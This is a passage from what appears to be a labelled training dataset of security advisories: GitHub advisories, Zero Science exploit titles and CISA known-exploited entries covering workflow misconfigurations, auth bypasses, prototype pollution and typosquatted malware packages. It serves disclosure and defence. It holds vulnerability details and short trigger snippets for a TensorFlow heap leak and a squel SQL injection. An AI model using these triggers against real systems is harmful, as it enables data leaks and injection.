`0.17.0` of projen completely removes the `rebuild-bot.yml` workflow.\n\n### Workarounds\n\nThe recommended way to address the vulnerability is to upgrade `projen`. Users who cannot upgrade `projen` may also remove the `.github/workflows/rebuild-bot.yml` file and add it to their `.gitignore` file (via `projenrc.js`) to mitigate the issue.\n\n### References\n\nThe `rebuild-bot.yml` workflow managed by `projen` is only one occurrence of a GitHub Workflows mis-configuration, but it may also be present in other workflows not managed by `projen` (either hand-written, or managed by other tools). For more information on this class of issues, the [Keeping your GitHub Actions and workflows secure: Preventing pwn requests][1] article provides a great overview of the problem.\n\n[1]: https://securitylab.github.com/research/github-actions-preventing-pwn-requests", "text_raw": "Rebuild-bot workflow may allow unauthorised repository modifications\n\n[Severity: HIGH]\n\n### Impact\n\n`projen` is a project generation tool that synthesizes project configuration files such as `package.json`, `tsconfig.json`, `.gitignore`, GitHub Workflows, `eslint`, `jest`, and more, from a well-typed definition written in JavaScript. Users of projen's `NodeProject` project type (including any project type derived from it) include a `.github/workflows/rebuild-bot.yml` workflow that may allow any GitHub user to trigger execution of un-trusted code in the context of the \"main\" repository (as opposed to that of a fork). In some situations, such untrusted code may potentially be able to commit to the \"main\" repository.\n\nThe rebuild-bot workflow is triggered by comments including `@projen rebuild` on pull-request to trigger a re-build of the projen project, and updating the pull request with the updated files. This workflow is triggered by an `issue_comment` event, and thus always executes with a `GITHUB_TOKEN` belonging to the repository into which the pull-request is made (this is in contrast with workflows triggered by `pull_request` events, which always execute with a `GITHUB_TOKEN` belonging to the repository from which the pull-request is made).\n\nRepositories that do not have branch protection configured on their default branch (typically `main` or `master`) could possibly allow an untrusted user to gain access to secrets configured on the repository (such as NPM tokens, etc). Branch protection prohibits this escalation, as the managed `GITHUB_TOKEN` would not be able to modify the contents of a protected branch and affected workflows must be defined on the default branch. \n\n### Patches\n\nThe issue was mitigated in version `0.16.41` of the `projen` tool, which removes the `issue_comment` trigger from this workflow. Version `0.17.0` of projen completely removes the `rebuild-bot.yml` workflow.\n\n### Workarounds\n\nThe recommended way to address the vulnerability is to upgrade `projen`. Users who cannot upgrade `projen` may also remove the `.github/workflows/rebuild-bot.yml` file and add it to their `.gitignore` file (via `projenrc.js`) to mitigate the issue.\n\n### References\n\nThe `rebuild-bot.yml` workflow managed by `projen` is only one occurrence of a GitHub Workflows mis-configuration, but it may also be present in other workflows not managed by `projen` (either hand-written, or managed by other tools). For more information on this class of issues, the [Keeping your GitHub Actions and workflows secure: Preventing pwn requests][1] article provides a great overview of the problem.\n \n\n[1]: https://securitylab.github.com/research/github-actions-preventing-pwn-requests", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "28e62b7012ca8736c24b", "text": "Security Constraint Bypass in Spring Security\n\nSpring Security does not consider URL path parameters when processing security constraints. By adding a URL path parameter with an encoded \"/\" to a request, an attacker may be able to bypass a security constraint. The root cause of this issue is a lack of clarity regarding the handling of path parameters in the Servlet Specification (see below). Some Servlet containers include path parameters in the value returned for getPathInfo() and some do not. Spring Security uses the value returned by getPathInfo() as part of the process of mapping requests to security constraints. The unexpected presence of path parameters can cause a constraint to be bypassed.\n\nUsers of Apache Tomcat (all current versions) are not affected by this vulnerability since Tomcat follows the guidance previously provided by the Servlet Expert group and strips path parameters from the value returned by getContextPath(), getServletPath() and getPathInfo() [1].\n\nUsers of other Servlet containers based on Apache Tomcat may or may not be affected depending on whether or not the handling of path parameters has been modified.\n\nUsers of IBM WebSphere Application Server 8.5.x are known to be affected.\n\nUsers of other containers that implement the Servlet specification may be affected.\n\n[1] https://issues.apache.org/bugzilla/show_bug.cgi?id=25015\n\n## Mitigation\nAdopting one of the following mitigations will protect against this vulnerability.\n\n- Use a Servlet container known not to include path parameters in the return values for getServletPath() and getPathInfo()\n- Upgrading to Spring Security 3.2.10, 4.1.4 or 4.2.1 will reject the request with a RequestRejectedException if the presence of an encoded \"/\" is detected. Note: If you wish to disable this feature it can be disabled by setting the DefaultHttpFirewall.allowUrlEncodedSlash = true. However, disabling this feature will mean applications are vulnerable (in containers that return path parameters in getServletPath() or getPathInfo()).\n\n## Credit\nThe issue was identified by Shumpei Asahara & Yuji Ito from NTT DATA Corporation and responsibly reported to Pivotal.", "text_raw": "Security Constraint Bypass in Spring Security\n\n[Severity: HIGH]\n\nSpring Security does not consider URL path parameters when processing security constraints. By adding a URL path parameter with an encoded \"/\" to a request, an attacker may be able to bypass a security constraint. The root cause of this issue is a lack of clarity regarding the handling of path parameters in the Servlet Specification (see below). Some Servlet containers include path parameters in the value returned for getPathInfo() and some do not. Spring Security uses the value returned by getPathInfo() as part of the process of mapping requests to security constraints. The unexpected presence of path parameters can cause a constraint to be bypassed.\n\nUsers of Apache Tomcat (all current versions) are not affected by this vulnerability since Tomcat follows the guidance previously provided by the Servlet Expert group and strips path parameters from the value returned by getContextPath(), getServletPath() and getPathInfo() [1].\n\nUsers of other Servlet containers based on Apache Tomcat may or may not be affected depending on whether or not the handling of path parameters has been modified.\n\nUsers of IBM WebSphere Application Server 8.5.x are known to be affected.\n\nUsers of other containers that implement the Servlet specification may be affected.\n\n[1] https://issues.apache.org/bugzilla/show_bug.cgi?id=25015\n\n## Affected Pivotal Products and Versions\nSeverity is high unless otherwise noted.\n- Spring Security 3.2.0 - 3.2.9\n- Spring Security 4.0.x - 4.1.3\n- Spring Security 4.2.0\n- Older unsupported versions are also affected\n\n## Mitigation\nAdopting one of the following mitigations will protect against this vulnerability.\n\n- Use a Servlet container known not to include path parameters in the return values for getServletPath() and getPathInfo()\n- Upgrading to Spring Security 3.2.10, 4.1.4 or 4.2.1 will reject the request with a RequestRejectedException if the presence of an encoded \"/\" is detected. Note: If you wish to disable this feature it can be disabled by setting the DefaultHttpFirewall.allowUrlEncodedSlash = true. However, disabling this feature will mean applications are vulnerable (in containers that return path parameters in getServletPath() or getPathInfo()).\n\n## Credit\nThe issue was identified by Shumpei Asahara & Yuji Ito from NTT DATA Corporation and responsibly reported to Pivotal.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-15", "split": "train"}
-{"id": "b6c6ece92cc21a67bf32", "text": "Centreon 2.6.1 CSRF Add Admin Exploit", "text_raw": "Centreon 2.6.1 CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-09-26", "split": "train"}
-{"id": "bdeadc73b3dd6f4de650", "text": "Prototype pollution in total.js\n\nThere is a prototype pollution vulnerability in the package total.js before version 3.4.7. The set function can be used to set a value into the object according to the path. However the keys of the path being set are not properly sanitized, leading to a prototype pollution vulnerability. The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution or Property Injection.", "text_raw": "Prototype pollution in total.js\n\n[Severity: HIGH]\n\nThere is a prototype pollution vulnerability in the package total.js before version 3.4.7. The set function can be used to set a value into the object according to the path. However the keys of the path being set are not properly sanitized, leading to a prototype pollution vulnerability. The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution or Property Injection.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-05", "split": "train"}
-{"id": "73f2fd7e6329de11f77a", "text": "WinMerge v2.12.4 Project File Handling Stack Overflow Vulnerability", "text_raw": "WinMerge v2.12.4 Project File Handling Stack Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-02-22", "split": "train"}
-{"id": "cdce177c945ea2e7fb5f", "text": "Malicious Package in wallet-address-validtaor\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in wallet-address-validtaor\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "8fde8eb68d1364c5cced", "text": "Malicious Package in angluar-cli\n\nVersion 0.0.3 of `angluar-cli` contains malicious code as a postinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed the package attempts to remove files and stop processes related to McAfee antivirus on macOS.\n\n## Recommendation\n\nRemove the package from your environment and verify whether files were deleted and if processes were stopped.", "text_raw": "Malicious Package in angluar-cli\n\n[Severity: CRITICAL]\n\nVersion 0.0.3 of `angluar-cli` contains malicious code as a postinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed the package attempts to remove files and stop processes related to McAfee antivirus on macOS.\n\n\n## Recommendation\n\nRemove the package from your environment and verify whether files were deleted and if processes were stopped.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "cafbcaed488b1773a73f", "text": "Improper Check for Unusual or Exceptional Conditions in json-smart\n\nAn issue was discovered in netplex json-smart-v1 through 2015-10-23 and json-smart-v2 through 2.4. An exception is thrown from a function, but it is not caught, as demonstrated by NumberFormatException. When it is not caught, it may cause programs using the library to crash or expose sensitive information.", "text_raw": "Improper Check for Unusual or Exceptional Conditions in json-smart\n\n[Severity: MEDIUM]\n\nAn issue was discovered in netplex json-smart-v1 through 2015-10-23 and json-smart-v2 through 2.4. An exception is thrown from a function, but it is not caught, as demonstrated by NumberFormatException. When it is not caught, it may cause programs using the library to crash or expose sensitive information.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "47daab91310efc9ebbb2", "text": "SQL Injection in SimpleSAMLphp\n\nThe proxystatistics module before 3.1.0 for SimpleSAMLphp allows SQL Injection in lib/Auth/Process/DatabaseCommand.php.", "text_raw": "SQL Injection in SimpleSAMLphp\n\n[Severity: CRITICAL]\n\nThe proxystatistics module before 3.1.0 for SimpleSAMLphp allows SQL Injection in lib/Auth/Process/DatabaseCommand.php.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-08", "split": "train"}
-{"id": "144365b8265677635d73", "text": "Out-of-bounds Write in OpenCV\n\nAn exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV, version 4.1.0 (corresponds with OpenCV-Python version 4.1.2.30). A specially crafted JSON file can cause a buffer overflow, resulting in multiple heap corruptions and potentially code execution. An attacker can provide a specially crafted file to trigger this vulnerability.", "text_raw": "Out-of-bounds Write in OpenCV\n\n[Severity: HIGH]\n\nAn exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV, version 4.1.0 (corresponds with OpenCV-Python version 4.1.2.30). A specially crafted JSON file can cause a buffer overflow, resulting in multiple heap corruptions and potentially code execution. An attacker can provide a specially crafted file to trigger this vulnerability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "1f904ad71c01deac84bb", "text": "SolarWinds Orion Authentication Bypass Vulnerability\n\nAffected: SolarWinds Orion\n\nSolarWinds Orion API contains an authentication bypass vulnerability that could allow a remote attacker to execute API commands.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-288\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SolarWinds Orion Authentication Bypass Vulnerability\n\nAffected: SolarWinds Orion\n\nSolarWinds Orion API contains an authentication bypass vulnerability that could allow a remote attacker to execute API commands.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-288\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "6d18321a7ae37cedbddf", "text": "Data races in model\n\n`Shared` data structure in `model` crate implements `Send` and `Sync` traits regardless of the inner type.\nThis allows safe Rust code to trigger a data race, which is undefined behavior in Rust.\n\nUsers are advised to treat `Shared` as an unsafe type.\nIt should not be used outside of the testing context,\nand care must be taken so that the testing code does not have a data race\nbesides a race condition that is expected to be caught by the test.\n\nCheck [the Rustonomicon](https://doc.rust-lang.org/nomicon/races.html) for the difference between\na data race and a general race condition.", "text_raw": "Data races in model\n\n[Severity: MEDIUM]\n\n`Shared` data structure in `model` crate implements `Send` and `Sync` traits regardless of the inner type.\nThis allows safe Rust code to trigger a data race, which is undefined behavior in Rust.\n\nUsers are advised to treat `Shared` as an unsafe type.\nIt should not be used outside of the testing context,\nand care must be taken so that the testing code does not have a data race\nbesides a race condition that is expected to be caught by the test.\n\nCheck [the Rustonomicon](https://doc.rust-lang.org/nomicon/races.html) for the difference between\na data race and a general race condition.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "20c548c461d13b2058b5", "text": "Improper Authentication in Apache ShenYu Admin\n\nA flaw was found in Apache ShenYu Admin. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication. This issue affected Apache ShenYu 2.3.0 and 2.4.0.", "text_raw": "Improper Authentication in Apache ShenYu Admin\n\n[Severity: CRITICAL]\n\nA flaw was found in Apache ShenYu Admin. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication. This issue affected Apache ShenYu 2.3.0 and 2.4.0.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-17", "split": "train"}
-{"id": "706bc5632c5cdaec7740", "text": "Malicious Package in require-port\n\nVersion 1.0.0 of `require-port` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in require-port\n\n[Severity: CRITICAL]\n\nVersion 1.0.0 of `require-port` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "711c2cfba562afe80e06", "text": "Improper Key Verification in ipns\n\nVersions 0.1.1 or 0.1.2 of `ipns` are vulnerable to improper key validation. This is due to the public key verification was not being performed properly, resulting in any key being valid.\n\n## Recommendation\n\nUpdate to version 0.1.3 or later.", "text_raw": "Improper Key Verification in ipns\n\n[Severity: HIGH]\n\nVersions 0.1.1 or 0.1.2 of `ipns` are vulnerable to improper key validation. This is due to the public key verification was not being performed properly, resulting in any key being valid.\n\n\n## Recommendation\n\nUpdate to version 0.1.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-30", "split": "train"}
-{"id": "2e3b9ea3ef623cfc7d86", "text": "Data races in ticketed_lock\n\nAffected versions of this crate unconditionally implemented Send for ReadTicket<T> & WriteTicket<T>. This allows to send non-Send T to other threads. This can allows creating data races by cloning types with internal mutability and sending them to other threads (as T of ReadTicket<T>/WriteTicket<T>). Such data races can cause memory corruption or other undefined behavior. The flaw was corrected in commit `a986a93` by adding T: Send bounds to Send impls of ReadTicket<T>/WriteTicket<T>.", "text_raw": "Data races in ticketed_lock\n\n[Severity: HIGH]\n\nAffected versions of this crate unconditionally implemented Send for ReadTicket<T> & WriteTicket<T>. This allows to send non-Send T to other threads. This can allows creating data races by cloning types with internal mutability and sending them to other threads (as T of ReadTicket<T>/WriteTicket<T>). Such data races can cause memory corruption or other undefined behavior. The flaw was corrected in commit `a986a93` by adding T: Send bounds to Send impls of ReadTicket<T>/WriteTicket<T>.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b43e0a556d0239136aa1", "text": "Cross-site scripting in Products.CMFPlone and Products.PasswordResetTool\n\nCross-site scripting (XSS) vulnerability in Plone 4.1 and earlier allows remote attackers to inject arbitrary web script or HTML via a crafted URL.", "text_raw": "Cross-site scripting in Products.CMFPlone and Products.PasswordResetTool\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in Plone 4.1 and earlier allows remote attackers to inject arbitrary web script or HTML via a crafted URL.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "c67225aecbdb79130583", "text": "Apple Multiple Products Memory Corruption Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, and watchOS IOMobileFrameBuffer contain a memory corruption vulnerability which may allow an application to execute code with kernel privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple Multiple Products Memory Corruption Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, and watchOS IOMobileFrameBuffer contain a memory corruption vulnerability which may allow an application to execute code with kernel privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "847f7d13cc6ddf6bb50e", "text": "Command Injection in corenlp-js-interface\n\nAll versions of package corenlp-js-interface are vulnerable to Command Injection via the main function.", "text_raw": "Command Injection in corenlp-js-interface\n\n[Severity: CRITICAL]\n\nAll versions of package corenlp-js-interface are vulnerable to Command Injection via the main function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-12-18", "split": "train"}
-{"id": "6cea0b90e5bdd18fb4e0", "text": "Regular Expression Denial of Service (REDoS) in Marked\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n[Regular expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n\nA Denial of Service attack can affect anyone who runs user generated code through `marked`.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\npatched in v2.0.0\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nNone.\n\n### References\n_Are there any links users can visit to find out more?_\n\nhttps://github.com/markedjs/marked/issues/1927\nhttps://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [marked](https://github.com/markedjs/marked/issues)", "text_raw": "Regular Expression Denial of Service (REDoS) in Marked\n\n[Severity: MEDIUM]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n[Regular expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n\nA Denial of Service attack can affect anyone who runs user generated code through `marked`.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\npatched in v2.0.0\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nNone.\n\n### References\n_Are there any links users can visit to find out more?_\n\nhttps://github.com/markedjs/marked/issues/1927\nhttps://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [marked](https://github.com/markedjs/marked/issues)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-08", "split": "train"}
-{"id": "950ae5443a3839b4abe4", "text": "Improper Input Validation in sopel-plugins.channelmgnt\n\n### Impact\nOn some IRC servers, restrictions around the removal of the bot using the kick/kickban command could be bypassed when kicking multiple users at once.\nWe also believe it may have been possible to remove users from other channels but due to the wonder that is IRC and following RfCs, We have no POC for that.\n\nFreenode is not affected.\n\n### Patches\nUpgrade to 2.0.1 or higher\n\n### Workarounds\nDo not use this plugin on networks where TARGMAX > 1.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue on [phab](https://phab.mirahezebots.org/maniphest/task/edit/form/1/).\n* Email us at [staff(at)mirahezebots(dot)org](mailto:staff@mirahezebots.org)", "text_raw": "Improper Input Validation in sopel-plugins.channelmgnt\n\n[Severity: HIGH]\n\n### Impact\nOn some IRC servers, restrictions around the removal of the bot using the kick/kickban command could be bypassed when kicking multiple users at once.\nWe also believe it may have been possible to remove users from other channels but due to the wonder that is IRC and following RfCs, We have no POC for that.\n\nFreenode is not affected.\n\n### Patches\nUpgrade to 2.0.1 or higher\n\n### Workarounds\nDo not use this plugin on networks where TARGMAX > 1.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue on [phab](https://phab.mirahezebots.org/maniphest/task/edit/form/1/).\n* Email us at [staff(at)mirahezebots(dot)org](mailto:staff@mirahezebots.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-09", "split": "train"}
-{"id": "5ee5876db904beafbc86", "text": "Uncontrolled Resource Consumption in json-bigint\n\nPrototype pollution in json-bigint npm package < 1.0.0 may lead to a denial-of-service (DoS) attack.", "text_raw": "Uncontrolled Resource Consumption in json-bigint\n\n[Severity: HIGH]\n\nPrototype pollution in json-bigint npm package < 1.0.0 may lead to a denial-of-service (DoS) attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "6b2c45c821a41a53f1fc", "text": "Heap OOB in nested `tf.map_fn` with `RaggedTensor`s\n\n### Impact\nIt is possible to nest a `tf.map_fn` within another `tf.map_fn` call. However, if the input tensor is a `RaggedTensor` and there is no function signature provided, code assumes the output is a fully specified tensor and fills output buffer with uninitialized contents from the heap:\n\n```python\nimport tensorflow as tf\nx = tf.ragged.constant([[1,2,3], [4,5], [6]])\nt = tf.map_fn(lambda r: tf.map_fn(lambda y: r, r), x)\nz = tf.ragged.constant([[[1,2,3],[1,2,3],[1,2,3]],[[4,5],[4,5]],[[6]]])\n```\n\nThe `t` and `z` outputs should be identical, however this is not the case. The last row of `t` contains data from the heap which can be used to leak other memory information.\n\nThe bug lies in the conversion from a `Variant` tensor to a `RaggedTensor`. The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/ragged_tensor_from_variant_op.cc#L177-L190) does not check that all inner shapes match and this results in the additional dimensions in the above example.\n\nThe same implementation can result in data loss, if input tensor is tweaked:\n\n```python\nimport tensorflow as tf\nx = tf.ragged.constant([[1,2], [3,4,5], [6]])\nt = tf.map_fn(lambda r: tf.map_fn(lambda y: r, r), x) \n```\n\nHere, the output tensor will only have 2 elements for each inner dimension.\n\n### Patches\nWe have patched the issue in GitHub commit [4e2565483d0ffcadc719bd44893fb7f609bb5f12](https://github.com/tensorflow/tensorflow/commit/4e2565483d0ffcadc719bd44893fb7f609bb5f12).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Haris Sahovic.", "text_raw": "Heap OOB in nested `tf.map_fn` with `RaggedTensor`s\n\n[Severity: HIGH]\n\n### Impact\nIt is possible to nest a `tf.map_fn` within another `tf.map_fn` call. However, if the input tensor is a `RaggedTensor` and there is no function signature provided, code assumes the output is a fully specified tensor and fills output buffer with uninitialized contents from the heap:\n\n```python\nimport tensorflow as tf\nx = tf.ragged.constant([[1,2,3], [4,5], [6]])\nt = tf.map_fn(lambda r: tf.map_fn(lambda y: r, r), x)\nz = tf.ragged.constant([[[1,2,3],[1,2,3],[1,2,3]],[[4,5],[4,5]],[[6]]])\n```\n  \nThe `t` and `z` outputs should be identical, however this is not the case. The last row of `t` contains data from the heap which can be used to leak other memory information.\n\nThe bug lies in the conversion from a `Variant` tensor to a `RaggedTensor`. The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/ragged_tensor_from_variant_op.cc#L177-L190) does not check that all inner shapes match and this results in the additional dimensions in the above example.\n\nThe same implementation can result in data loss, if input tensor is tweaked:\n\n```python\nimport tensorflow as tf\nx = tf.ragged.constant([[1,2], [3,4,5], [6]])\nt = tf.map_fn(lambda r: tf.map_fn(lambda y: r, r), x) \n```\n\nHere, the output tensor will only have 2 elements for each inner dimension.\n\n### Patches\nWe have patched the issue in GitHub commit [4e2565483d0ffcadc719bd44893fb7f609bb5f12](https://github.com/tensorflow/tensorflow/commit/4e2565483d0ffcadc719bd44893fb7f609bb5f12).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Haris Sahovic.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ece3f6bcd595ba5f9fa9", "text": "Withdrawn, accidental duplicate publish.\n\nThe Safemode gem before 1.2.4 for Ruby, when initialized with a delegate object that is a Rails controller, allows context-dependent attackers to obtain sensitive information via the inspect method.", "text_raw": "Moderate severity vulnerability that affects safemode\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe Safemode gem before 1.2.4 for Ruby, when initialized with a delegate object that is a Rails controller, allows context-dependent attackers to obtain sensitive information via the inspect method.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-08", "split": "train"}
-{"id": "8172b323c27fe151253e", "text": "Prototype pollution in json8-merge-patch\n\nPrototype pollution vulnerability in json8-merge-patch npm package < 1.0.3 may allow attackers to inject or modify methods and properties of the global object constructor.", "text_raw": "Prototype pollution in json8-merge-patch\n\n[Severity: HIGH]\n\nPrototype pollution vulnerability in json8-merge-patch npm package < 1.0.3 may allow attackers to inject or modify methods and properties of the global object constructor.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "877cb502c54ef735c9c3", "text": "backupDB() v1.2.7a (onlyDB) Remote XSS Vulnerability", "text_raw": "backupDB() v1.2.7a (onlyDB) Remote XSS Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2012-05-16", "split": "train"}
-{"id": "4887507165222d9d489e", "text": "Mozilla Firefox And Thunderbird Type Confusion Vulnerability\n\nAffected: Mozilla Firefox and Thunderbird\n\nMozilla Firefox and Thunderbird contain a type confusion vulnerability due to incorrect alias information in the IonMonkey JIT compiler when setting array elements.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-843\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Mozilla Firefox And Thunderbird Type Confusion Vulnerability\n\nAffected: Mozilla Firefox and Thunderbird\n\nMozilla Firefox and Thunderbird contain a type confusion vulnerability due to incorrect alias information in the IonMonkey JIT compiler when setting array elements.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-843\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "105e605e4167779ce979", "text": "Failure to sanitize quotes which can lead to sql injection in squel\n\nAll versions of `squel` are vulnerable to sql injection.\n\nThe `squel` package does not properly escape user provided input when provided using the `setFields` method. This could lead to sql injection if the query was then executed.\n\nProof of concept demonstrating the injection of a single quote into a generated sql statement from user provided input.\n```\n> console.log(squel.insert().into('buh').setFields({foo: \"bar'baz\"}).toString());\nINSERT INTO buh (foo) VALUES ('bar'baz')\n```\n\n## Recommendation\n\nThere is no fix at this time and the issue has been reported publicly. Consider using another query builder that provides strong guarantees for input sanitization to prevent sql injection attacks.", "text_raw": "Failure to sanitize quotes which can lead to sql injection in squel\n\n[Severity: CRITICAL]\n\nAll versions of `squel` are vulnerable to sql injection.\n\nThe `squel` package does not properly escape user provided input when provided using the `setFields` method. This could lead to sql injection if the query was then executed.\n\nProof of concept demonstrating the injection of a single quote into a generated sql statement from user provided input.\n```\n> console.log(squel.insert().into('buh').setFields({foo: \"bar'baz\"}).toString());\nINSERT INTO buh (foo) VALUES ('bar'baz')\n```\n\n\n## Recommendation\n\nThere is no fix at this time and the issue has been reported publicly. Consider using another query builder that provides strong guarantees for input sanitization to prevent sql injection attacks.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-06-14", "split": "train"}
